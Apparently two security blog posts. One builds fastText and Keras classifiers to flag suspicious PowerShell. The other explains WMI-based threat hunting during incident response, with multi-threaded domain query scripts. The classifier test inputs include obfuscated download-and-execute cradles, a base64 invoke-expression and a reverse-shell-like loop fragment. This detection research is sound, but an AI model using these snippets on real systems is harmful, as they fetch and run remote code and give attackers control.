Detecting Suspicious PowerShell scripts with Text Classification and Deep Neural Networks

Recently I’ve been wanting to dive into anomaly detection and classification problems – I’m starting this by exploring a binary-classification issue – trying to determine whether or not a PowerShell snippet is benign or suspicious.

There are many different approaches to this problem-class. I decided to start with a “batteries-included” approach to text classification with the help of fastText ( This awesome piece of software from Facebook Research can perform both un-supervised and supervised training with tunable parameters on a set of pre-processed input data.

Similar to most other data science projects, I started this by spending a significant amount of time identifying and categorizing source material, mostly by scraping PowerShell scripts available from a variety of sources (e.g., GitHub, Hybrid Analysis, etc). Each script was saved into a labelled directory indicating what type of scripts it contains. Since this is a binary classification task, we are only going to be using the labels of ‘suspicious’ or ‘benign’ with each script having exactly 1 label.

A future task would be adding additional labels such as “malicious” to provide more flexibility to the classifications and subsequent conclusions we draw from them (I stored them with some flexibility to distinguish between suspicious and purely malicious but am only using the single label of ‘suspicious’ for this experiment).

Example showing data organization / classification structure

Another approach to this problem would be creating many different distinct labels and using the percent confidence for each to infer what the functionality of the script is, what MITRE Techniques it is employing, etc.

Text Classification with fastText

Supervised Learning with fastText for Text Classification can be done by supplying the model with an input file in a specific format. The default structure should contain line-delimited data where lines begin with all relevant labels for the current line. The default format for labels is ‘__label__$VAR’ where $VAR is the relevant key-word such as ‘__label__benign’.

__label__benign some line of data
__label__suspicious another line of data

For this experiment, I wanted to try a few different methods of classifying scripts. Initially, I did a very basic implementation to try a pure text classification approach. Later on, I’d like to combine this model’s prediction output with an Abstract Syntax Tree (AST) neural network analysis to produce a combined probability matrix ,which we can then analyze to more effectively determine if a script is suspicious or not.

For now, I took the following approach to data preparation;

  • Read each script into memory
  • Normalize the data by stripping white-space and lower-casing the entire script
  • Remove un-wanted characters to help improve classification traits
  • Write each script (as a single string per-line) into a file with the relevant label as a prefix

After this initial data aggregation step, I shuffled the line-ordering and split the data into a 70/30% mix of training and test data respectively. Using 100% of the source data to train can overfit a model to the training data and lead to critical failures when classifying new data – this helps identify that problem and attempt to mitigate early on.

Total Scripts: 10433 
Training Data Length: 7303 
Testing Data Length: 3130 
Suspicious Scripts: 4776 
Benign Scripts: 5657

Now it’s time for the fun part. Training a fastText model can have a lot of nuances but at it’s core, it can be done in two lines like this.

import fasttext
model = fasttext.train_supervised('pslearn.train')

That’s it! – I can now use the test dataset to gauge the prediction accuracy of our first supervised fastText model.

(3130, 0.9450479233226837, 0.9450479233226837)

The first number (3130) represents the number of samples in the test data. The second number represents the precision (~94%) and the last number represents the recall (~94%).

Per fastText documentation:

The precision is the number of correct labels among the labels predicted by fastText. The recall is the number of labels that successfully were predicted, among all the real labels.

A precision metric of 94% seems extremely high – I have a very limited sample set and it is highly likely that I have accidentally introduced a high amount of bias to the source data. One way I can solve this is by reviewing the data and ensuring that there is a wide variety of samples in different formats and stylings to introduce additional variety to the training and testing data.

For now, lets see if I can improve the model by using some additional options provided by fastText – word n-grams and epoch count. By default, fastText only uses 5 epochs for learning – lets try tripling that number to 15 and see if there is any effect on the accuracy.

model = fasttext.train_supervised('pslearn.train', epoch=15)
(3130, 0.9619808306709265, 0.9619808306709265)

A small increase in the number of epochs had a significant effect on the accuracy, however, the trade-off is a longer processing time when training (or re-training) the model. Since we have a relatively small data set (~100 MB) I can experiment with extremely high epoch counts such as 1000+, like below.

model = fasttext.train_supervised('pslearn.train', epoch=1000)
(3130, 0.9769968051118211, 0.9769968051118211)

The key to data science is always experimentation – I played with the epoch count for a while to find the optimal balance of time to run vs accuracy vs not overfitting to the current data. At 500 runs I still had a precision measurement of 97.6%, 250 runs actually increased to 98% while 100 lowered slightly to 97.8% – 50 runs achieved an accuracy of 97.5%, and 25 runs was 96.9%. I decided to keep it at 25 to avoid overfitting for most of this experiment.

In addition to epoch count, one of the other commonly tuned parameters for a fastText model is the learning rate. For a detailed explanation, check out the documentation at The default Learning Rate is 0.1, but lets try 0.2 and see if there is any improvement when using an epoch count of 25.

model = fasttext.train_supervised('pslearn.train', epoch=25, lr=0.2)
(3130, 0.9750798722044729, 0.9750798722044729)

Doubling the learning rate improved our base accuracy at 25 epochs from ~96.9% to ~97.5%.

There’s one last thing I should experiment with – the word n-grams argument. For a detailed explanation of n-grams, check out The default value in fastText is 1. Let’s try stepping up to a few different parameters and observe the results on our prediction accuracy.

model = fasttext.train_supervised('pslearn.train', epoch=25, lr=0.2, wordNgrams=2)
(3130, 0.9738019169329073, 0.9738019169329073)
model = fasttext.train_supervised('pslearn.train', epoch=25, lr=0.2, wordNgrams=5)
(3130, 0.9584664536741214, 0.9584664536741214)
model = fasttext.train_supervised('pslearn.train', epoch=25, lr=0.2, wordNgrams=10)
(3130, 0.9536741214057508, 0.9536741214057508)
model = fasttext.train_supervised('pslearn.train', epoch=25, lr=0.2, wordNgrams=50)
(3130, 0.9306709265175719, 0.9306709265175719)
model = fasttext.train_supervised('pslearn.train', epoch=25, lr=0.2, wordNgrams=100)
(3130, 0.9287539936102236, 0.9287539936102236)

Word N-Gram length should be decided based on the current use-case as well as experimented with since it can have a severe impact on model accuracy depending on the type of data. I decided to leave it at the default for now.

fastText provides many other parameters for model tuning – view them all at

Below you can see the results of some of the ad-hoc tests I ran against it with some arbitrary PowerShell scripts that were not included in testing or training data.

Input: invoke-expression -command ([text.encoding]::unicode.getstring([convert]::frombase64string("vwbyagkadablac0asabvahmadaagaciadab3aguazqb0acwaiab0ahcazqblahqaiqaiaa==
Confidence __label__suspicious: 97.43660092353821%
Confidence __label__benign: 2.5653984397649765%

Input: enable-windowsoptionalfeature -online -featurename microsoft-hyper-v -all -norestart
Confidence __label__benign: 56.333380937576294%
Confidence __label__suspicious: 43.66862177848816%

Input: $output  | ft -property @{n="$source";e={$_.$source};a="center"},@{n="$dest";e={$_.$dest};a="center"},@{n="$temp";e={$_.$temp};a="center"}
Confidence __label__benign: 71.88595533370972%
Confidence __label__suspicious: 28.116050362586975%

Input: $null = [getclipboardprocess]::getwindowthreadprocessid([getclipboardprocess]::getopenclipboardwindow(), [ref]$processid)
Confidence __label__suspicious: 99.66542720794678%
Confidence __label__benign: 0.33657397143542767%

Input: while (!$process.hasexited) {try {$bytes = $$buffer, 0, $buffer.length); # unblock with timeoutif ($bytes -gt 0) {$process.standardinput.write($buffer, 0, $bytes);} else { break; }} catch [management.automation.methodinvocationexception] {}if ($stderr.length -gt 0) {$writer.write($stdout.tostring()); $stdout.clear();}if ($stdout.length -gt 0) {$writer.write($stdout.tostring()); $stdout.clear();}}
Confidence __label__suspicious: 99.98868703842163%
Confidence __label__benign: 0.013308007328305393%

Input: $flowpanel.flowdirection = []::righttoleft
Confidence __label__suspicious: 86.15033030509949%
Confidence __label__benign: 13.851676881313324%

Input: invoke-command -computer wks1,wks2,wks3 -scriptblock { disable-windowsoptionalfeature -online -featurename "microsoftwindowspowershellv2" -norestart }
Confidence __label__benign: 99.58958029747009%
Confidence __label__suspicious: 0.41241757571697235%

Input: invoke-expression (new-object net.web`c`l`i`ent)."`d`o`wnloadstring"('h'+'t'+'t'+'ps://')
Confidence __label__suspicious: 99.85156059265137%
Confidence __label__benign: 0.1504492713138461%

Input: powershell.exe `wr`it`e-`h`ost alertmeagain
Confidence __label__suspicious: 94.03488039970398%
Confidence __label__benign: 5.9671226888895035%

Input: powershell.exe (new-object net.webclient).downloadstring("")
Confidence __label__suspicious: 99.99812841415405%
Confidence __label__benign: 0.0038762060285080224%

97% accuracy? Really?

No, not really – I have a really small sample set of data and it is highly biased. I also don’t have many ‘real world’ samples right now but am working on a pipeline to generate more variants like you might expect to see in a true adversary engagement. As per above, this type of ‘simple’ text classification can work but is very lacking when it comes to highly-complex use-cases where the same ‘sentiment’ can be expressed in hundreds of ways – what else can I do?

  • Embed additional labelling for each script to help with classifying and having a secondary process for guessing probability based on the confidence in each label
  • Gather/Generate additional source data for better classification and a wider variety of training and testing data
  • Experiment with different text classification models
  • etc

Using fastText itself is ridiculously easy – the hard part of a data scientists life is preparing the source material. Data Pre-Processing pipelines are often extremely complex to ensure the cleanest feed to downstream ML models – the exact type of processing required is typically dependent on project-specific features such as the overall objective, the types of machine-learning models or approaches, etc.

AST Modeling in a Deep Neural Network (DNN)

In addition to text classification, I wanted to try feature engineering for a machine-learning model. Ultimately, I decided to use my features inside of a “Deep & Wide” style network built with Keras and Tensorflow. Feature Engineering is probably one of the most important part of any ML workflow – for this project, I took a basic approach and using I generated optimized AST files for each of the previously collected PowerShell scripts.

What is an AST file? –

In generating features from these ‘optimized’ AST representations we can parse the script functionality at a lower-level than just reading the raw .ps1 file and receive more meaningful insight into what components make up the script.

Why would I want to do this? fastText is great but studying the data at a lower-level in a neural network could help teams gain some deeper insight into the data in a way that fastText might not help us as much with. Ultimately, the best approach would be to have multiple prediction pipelines to get outputs from various models and glue the results together with some logic.

I parsed each AST and generated a set of features representing the below items (along with a few others)

  • Distinct PowerShell Tree-Type Count
  • Sum for each type of AST Object present in the script (CommandElementAST, etc)
  • Variable / Operator / Condition sums
  • Presence of certain ‘suspicious’ strings inside the script (‘IEX’, etc)
  • etc

Once I have the data cleaned and stored appropriately in a CSV, I can set up the below workflow for running independent experiments (code truncated for readability).

# Setup Required Imports, Constants, etc
for c in raw_data.columns:
    if c != 'label':

# All of my features are numeric and not categorical
COLUMN_DEFAULTS = [[0.0] for feature_name in CSV_HEADER]

# How the model will parse the data from disk
def get_dataset_from_csv(csv_file_path, batch_size, shuffle=False):
    dataset =
    return dataset.cache()

# Invoke an experiment
def run_experiment(model):
    train_dataset = get_dataset_from_csv(train_data_file, batch_size, shuffle=True)
    test_dataset = get_dataset_from_csv(test_data_file, batch_size)
    print("Start training the model...")
    history =, epochs=num_epochs)
    print("Model training finished")
    _, accuracy = model.evaluate(test_dataset, verbose=0)
    print(f"Test accuracy: {round(accuracy * 100, 2)}%")

# Encode Input Layers
def create_model_inputs():
    return inputs

# Encode Features depending on type
def encode_inputs(inputs, use_embedding=False):
    return all_features

# Create Keras Network Model - using a softmax output 
def create_wide_and_deep_model():
    return model

# Run the experiment!
wide_and_deep_model = create_wide_and_deep_model()
#keras.utils.plot_model(wide_and_deep_model, show_shapes=True, rankdir="LR")

Start training the model...
Epoch 1/10
32/32 [==============================] - 453s 3s/step - loss: 0.4908 - sparse_categorical_accuracy: 0.7793
Epoch 2/10
32/32 [==============================] - 8s 239ms/step - loss: 0.2756 - sparse_categorical_accuracy: 0.9325
Epoch 3/10
32/32 [==============================] - 8s 245ms/step - loss: 0.2000 - sparse_categorical_accuracy: 0.9508
Epoch 4/10
32/32 [==============================] - 8s 244ms/step - loss: 0.1548 - sparse_categorical_accuracy: 0.9580
Epoch 5/10
32/32 [==============================] - 8s 245ms/step - loss: 0.1358 - sparse_categorical_accuracy: 0.9640
Epoch 6/10
32/32 [==============================] - 8s 249ms/step - loss: 0.1196 - sparse_categorical_accuracy: 0.9656
Epoch 7/10
32/32 [==============================] - 8s 246ms/step - loss: 0.1073 - sparse_categorical_accuracy: 0.9671
Epoch 8/10
32/32 [==============================] - 8s 245ms/step - loss: 0.0965 - sparse_categorical_accuracy: 0.9695
Epoch 9/10
32/32 [==============================] - 8s 243ms/step - loss: 0.1022 - sparse_categorical_accuracy: 0.9666
Epoch 10/10
32/32 [==============================] - 8s 244ms/step - loss: 0.0940 - sparse_categorical_accuracy: 0.9711
Model training finished
Test accuracy: 74.9%

In the end, I can see the network was able to predict whether a script in the validation data was suspicious or not with a ~75% accuracy – not too bad for the very first attempt. Doubling the epoch count to 20 runs got me to ~80% accuracy without a huge risk of over-fitting. What else could I do to improve this?

  • Feature Dimensionality Reduction (Linearly with PCA or non-linearly with better AutoEncoders)
  • Better Feature Engineering – it is very basic currently
  • Tuning Model Parameters/Hyperparameters manually to experiment with learning impact
  • Better AST Optimization/Script De-obfuscation Techniques
  • etc

I have some other ideas for feature building techniques with respect to PowerShell analysis that I’m excited to keep exploring and building machine-learning models around – if you’re interested in similar topics, reach out and lets discuss!

Machine Learning to identify evil isn’t a new concept – but the exact techniques utilized are not often shared to the public for a few reasons. First being that threat actors could analyze then workaround the detection mechanisms and secondly, these workflows often power revenue-generating streams and sharing them could impact profits. I’m hoping that in coming years the open-source detection community starts to build and share more ready-to-use models that organizations can use for these types of classification tasks.

Look out for the next post, should be interesting – and let me know if there are any questions!

Responding to Active Threats in Low-Maturity Environments

As a DFIR professional, multiple times I’ve been in the position of having to assist a low-maturity client with containment and remediation of an advanced adversary – think full domain compromise, ransomware events, multiple C2 servers/persistency mechanisms, etc. In many environments you may have some or none of the centralized logging required to effectively track and identify adversary actions such as Windows Server and Domain Controller Event Logging, Firewall Syslog, VPN authentications, EDR/Host-based data, etc. These types of log items are sadly a low-priority objective in many organizations who have not experienced a critical security incident – and while useful to emergency on-board in an active threat scenario, the vast majority of prior threat actor steps will be lost to the void.

So, how can you identify and hunt active threats in a low-maturity environments with little-to-no centralized visibility? I will walk through a standard domain compromise response scenario and describe some useful techniques I tend to rely on for hunting in these types of networks.

During multiple recent investigations I’ve worked to assist clients in events where a bad actor has managed to capture Domain Admin credentials as well as get and maintain access on Domain Controllers through one or more persistency mechanisms – custom C2 channels, SOCKS proxies, remote control software such as VNC/Screen Connect/TeamViewer, etc. There is a certain order of operations to consider when approaching these scenarios – you could of course start by just resetting Domain Admin passwords but if there is still software running on compromised devices as these users then it won’t really impact the threat actors operations – the initial goal should be to damage their C2 operations as much as possible – hunt and disrupt.

  • Hunt – Threat Hunting activities using known IOCS/TTPs, environment anomaly analysis, statistical trends or outliers, suspicious activity, vulnerability monitoring, etc.
  • Disrupt – Upon detecting a true-positive incident, working towards breaking up attacker control of compromised hosts – blocking IP/URL C2 addresses, killing processes, disabling users, etc.
  • Contain – Work towards limiting additional threat actor impact in the environment – disabling portions of the network, remote access mechanisms such as VPN, mass password resets, etc.
  • Destroy – Eradicating threat actor persistence mechanisms – typically I would recommend to reimage/rebuild any known-compromised device but this can also include software/RAT removal, malicious user deletions, un-doing AD/GPO configuration changes, etc.
  • Restore – Working towards ‘business as usual’ IT operations – this may include rebuilding servers/applications, restoring from backups (you are doing environment-wide backups, right?) and other health-related activities
  • Monitor – Monitor the right data in your environment to ensure you can catch threat actors earlier in the cyber kill chain the next time a breach occurs – and restart the hunting cycle.

The cycle above represents a methodology useful not only in responding to active incidents but for use in general cyber-security operations as a means to find and respond to unknown threats operating within your network environment. When responding to a known incident, we are typically in either the hunt or disrupt phase depending on what we know with respect to Indicators of Compromise (IOCs). Your SOC team is typically alerted to a Domain Compromise event through an alert – this may be a UBA, EDR, AV, IDS or some other alert – what’s important is the host generating the event. Your investigation will typically start on that host where it is critically important to capture as much data as possible as your current goal is identify Tactics, Techniques, Procedures and IOCs associated with your current threat for use in identifying additional compromised machines. Some of the data I use for this initial goal is described below;

  • Windows Event Logs – Use these to identify lateral movement (RDP/SMB activity, Remote Authentications, etc), service installs, scheduled task deployments, application installations, PowerShell operations, BITS transfers, etc – hopefully you can find some activity for use in additional hunting here.
  • Running Processes/Command-Lines
  • Network Connections
  • Prefetch – Any interesting executable names/hashes?
  • Autoruns – Any recently modified items stand out?
  • Jump Lists/AmCache – References to interesting file names or remote hosts?
  • USN Journal – Any interesting file names? (The amount of times I’ve found evidence of offensive utilities without renaming in here is astounding)
  • NTUSER.DAT – always a source of interesting data if investigating a specific user account.
  • Local Users/Cached Logon Data
  • Internet History – Perhaps the threat actor pulled well-known utilities directly from GitHub?

These are just some starting points I often focus on when performing an investigation and this is by no means a comprehensive list of forensic evidence available on Windows assets. Hopefully in your initial investigation you can identify one or more of the IOC types listed below;

  • Hostnames / IP Addresses / Domains
  • File Names / Hashes
  • Service or Scheduled Task Names / Binaries / Descriptions / etc
  • Compromised Usernames

The next step is to hunt – we have some basic information to use which can help us rapidly understand whether or not a host is displaying signs of compromise and now we need to check these IOCs against additional hosts in the environment to determine scope and scale. Of course you can and should simultaneously pull on any exposed threads – for example, if you determined that Host A is compromised and also observed RDP connections from Host B to Host A that appear suspicious, you should perform the same type of IOC/TTP discovery on Host B to gather additional useful information – this type of attack tracing can often lead to ‘patient zero’ – the initial source of the compromise.

Back to the opening of this post – how can you perform environment hunting in a low-maturity environment that may lack the centralized logging or deployed agents necessary to support that type of activity? In a high-maturity space, you would have access to data such as firewall events, Windows event logs from hosts/servers/DCs, Proxy/DNS data, etc that would support this type of operation – if you don’t, you’re going to have to make do with what’s already available on endpoints – my personal preference is a reliance on PowerShell and Windows Management Instrumentation (WMI).

WMI exposes for remote querying a wealth of information that can make hunting down known-threats in any type of environment significantly easier – there are hundreds of classes available exposing data such as the following;

  • Running Processes
  • Network Connections
  • Installed Software
  • Installed Services
  • Scheduled Tasks
  • System Information
  • and more…

PowerShell and WMI can be a threat hunters best friend if used appropriately due to how easy it can be to rapidly query even a large enterprise environment. In addition to WMI, as long as you are part of the Event Log Readers group on a local device, you’ll have remote access to Windows Event logs – querying these through PowerShell is also useful when looking for specific indicators of compromise in logs such as User Authentications, RDP Logons, SMB Authentications, Service Installs and more – this will be discussed in a separate post.

As a start, lets imagine we identified a malicious IP address being used for C2 activities on the initially compromised host – our current objective is now to identify any other hosts on our network with active connections to the C2 address. Lets break this problem down step-by-step – our first goal is to identify all domain computers – we can do this by querying Active Directory and searching for all enabled Computer accounts through either Get-ADUser or, if you don’t have the AD module installed, some code such as shown below using DirectorySearcher.

$domainSearcher = New-Object DirectoryServices.DirectorySearcher([ADSI]"")
$domainSearcher.Filter = "(&(objectClass=computer)(!userAccountControl:1.2.840.113556.1.4.803:=2))"
$domainComputers = ($domainSearcher.Findall())

The code above is used for querying all ‘enabled’ computer accounts in Active Directory using an LDAP filter – read more about LDAP bit-filters here Once we have identified these accounts, we can then iterate through the list in a basic for-loop and run our desired query against each machine – shown below.

$domainSearcher = New-Object DirectoryServices.DirectorySearcher([ADSI]"")
$domainSearcher.Filter = "(&(objectClass=computer)(!userAccountControl:1.2.840.113556.1.4.803:=2))"
$domainComputers = ($domainSearcher.Findall())
$domainComputers.Properties.dnshostname | ForEach {
    $ComputerName = $_
    $NetworkConnections = Get-WmiObject -Namespace ROOT\StandardCIMV2 -Class MSFT_NetTCPConnection -ComputerName $ComputerName -ErrorAction SilentlyContinue | Select-Object LocalAddress,LocalPort,RemoteAddress,RemotePort,OwningProcess,PSComputerName,State
    $NetworkConnections | Export-CSV -NoTypeInformation -Path '.\DomainNetworkConnections.csv' -Append

..and that’s it – you now have a PowerShell script that can be used to query all enabled domain computers via WMI remotely (provided you have the appropriate permissions) and retrieve network TCP connections. Granted, if the C2 channel is over UDP this won’t help you but that’s typically not the case (looking at you stateless malware..). Of course, this is a pretty basic script – how can we spruce it up? Well for starters, we could of course add a progress bar and some log information so we know it’s actually doing something – easy enough.

$domainSearcher = New-Object DirectoryServices.DirectorySearcher([ADSI]"")
$domainSearcher.Filter = "(&(objectClass=computer)(!userAccountControl:1.2.840.113556.1.4.803:=2))"
$domainComputers = ($domainSearcher.Findall())
$ComputerCount = $domainComputers.Count
$CurrentCount = 0
$domainComputers.Properties.dnshostname | ForEach {
    $CurrentCount += 1
    Write-Progress -Activity "Querying Computers.." -Status "Progress:" -PercentComplete ($CurrentCount/$ComputerCount*100)
    $ComputerName = $_
    Write-Host "Checking $ComputerName"
    $NetworkConnections = Get-WmiObject -Namespace ROOT\StandardCIMV2 -Class MSFT_NetTCPConnection -ComputerName $ComputerName -ErrorAction SilentlyContinue | Select-Object LocalAddress,LocalPort,RemoteAddress,RemotePort,OwningProcess,PSComputerName,State
    $NetworkConnections | Export-CSV -NoTypeInformation -Path '.\DomainNetworkConnections.csv' -Append

Looking better – now we have a progress bar letting us know how much is left as well as some communication to the end user describing the current computer being queried. This script, as is, will work – but now the real question is how long will it take? As it stands, this is a single-threaded operation – if your organization has any significant number of servers to query, this can end up taking a very long time. How can we improve this? Multi-threading, of course, is the obvious solution here – lets take advantage of our modern CPUs and perform multiple queries simultaneously in order to expedite this process.

$domainSearcher = New-Object DirectoryServices.DirectorySearcher([ADSI]"")
$domainSearcher.Filter = "(&(objectClass=computer)(!userAccountControl:1.2.840.113556.1.4.803:=2))"
$domainComputers = ($domainSearcher.Findall())
$ComputerCount = $domainComputers.Count
$CurrentDir = Get-Location
$Config= [hashtable]::Synchronized(@{})
$Config.Path = "$CurrentDir\connections.csv"
$Config.FinishedCount = 0
$ScriptBlock = {
    param($Computer, $Config)
    $cons = Get-WmiObject -Namespace ROOT\StandardCIMV2 -Class MSFT_NetTCPConnection -ComputerName $Computer -ErrorAction SilentlyContinue | Select-Object LocalAddress,RemoteAddress,LocalPort,RemotePort,OwningProcess,PSComputerName,State,PrimaryStatus
    $cons | Export-CSV -NoTypeInformation -Path $Configuration.Path -Append
    $Config.FinishedCount ++
$SessionState = [System.Management.Automation.Runspaces.InitialSessionState]::CreateDefault()
$RunspacePool = [RunspaceFactory]::CreateRunspacePool(1, 20, $SessionState, $Host)
$Jobs = New-Object System.Collections.ArrayList
$domainComputers.Properties.dnshostname | ForEach {
    $PowerShell = [powershell]::Create()
	$PowerShell.RunspacePool = $RunspacePool
    $Computer = $_
    $PowerShell.AddScript($ScriptBlock).AddArgument($Computer).AddArgument($Config) | Out-Null
    $Job = New-Object -TypeName PSObject -Property @{
        Runspace = $PowerShell.BeginInvoke()
        Powershell = $PowerShell
    $Jobs.Add($Job) | Out-Null

while ($Jobs.Runspace.IsCompleted -contains $false) {
    $x = $Config.FinishedCount
    Write-Progress -Activity "Still Querying: " -Status "Progress:" -PercentComplete ($x/$ComputerCount*100)
    Write-Host (Get-date).Tostring() "Still Querying...[$x/$ComputerCount]"
	Start-Sleep 5

Awesome – we now have a multi-threaded script capable of querying remote computers asynchronously through WMI and storing the results of each query in a single CSV file. I’m not going to spend too much time discussing how or why the different components of the above script work – if you’d like to learn more about Runspace Pools and their use in PowerShell scripts, I recommend checking out these links:

Hopefully the usefulness of the code above makes sense from an incident response perspective when you have an IP address you need to use to find additional compromised devices – but what if the attacker is using an unknown IP? As previously mentioned, WMI’s usefulness extends far beyond just gathering TCP connections – we can add to the above script block to gather running processes, installed services, configured scheduled tasks, installed applications and many other pieces of useful information that can serve you well from a hunting and response perspective.

In fact, I’ve found this type of utility so useful that I went ahead and developed it into a more robust piece of software able to accept arguments for data that should be collected, maximum threads to run with, the ability to accept a list of computers rather than always querying AD and the ability to only export results if the result contains one or more specified IOCs provided to the program – Windows Management Instrumentation Hunter (WMIH) is here to help.


WMIHunter can be used as both a command-line or GUI-based program and enabled asynchronous collection of data via WMI from remote hosts based on enabled Computer Accounts in Active Directory or computers specified in a .txt file supplied to the program. Users can modify the max threads used as well as specify which data sources to target – some can take significantly longer than others. Very soon I’ll be adding the ability to filter IOCs such as IP Addresses, Process Names, Service Names, etc in order to limit what evidence is retrieved.

Give it a whirl in your next investigation.